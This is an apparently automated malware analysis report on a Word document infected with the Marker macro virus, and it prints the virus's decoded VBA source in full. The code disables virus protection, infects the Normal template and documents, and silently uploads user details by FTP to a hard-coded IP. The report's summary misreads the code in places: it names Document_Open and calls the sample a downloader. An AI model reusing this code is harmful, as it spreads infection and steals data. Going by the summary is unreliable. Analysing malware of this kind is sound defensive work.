Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ed42b4041e803c6…

MALICIOUS

Office (OLE)

43.0 KB Created: 2000-09-11 18:47:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 24c18f97e9fa616145d9b9ffa821c886 SHA-1: 367158df5d07dae1e8e3c7d58e8350e27886221a SHA-256: 4ed42b4041e803c6a6c88c8cb21f1426a87d80642a86cf8ed491edf1ca4e1b4b
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample contains VBA macros, specifically a Document_Open macro that utilizes the Shell() function. This macro attempts to disable virus protection and write malicious content to files such as 'c:\hsf*.sys' and 'c:\netldx.vxd'. The embedded script also attempts to connect to the IP address 209.201.88.110, suggesting it's a downloader for a second-stage payload. The document body itself contains a warning about a virus, likely a lure.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5388 bytes
SHA-256: 7086115cce2d73bde2508feb9ecb25163643cbe919709efefdada7fbaa2cf515
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.codemodule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.codemodule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.codemodule.Lines(1, ad.codemodule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.codemodule.Lines(1, nt.codemodule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.codemodule.Lines(1, ad.codemodule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.codemodule.deletelines 1, nt.codemodule.CountOfLines
    nt.codemodule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.codemodule.Lines(1, nt.codemodule.CountOfLines)

    ad.codemodule.deletelines 1, ad.codemodule.CountOfLines
    ad.codemodule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B
... (truncated)

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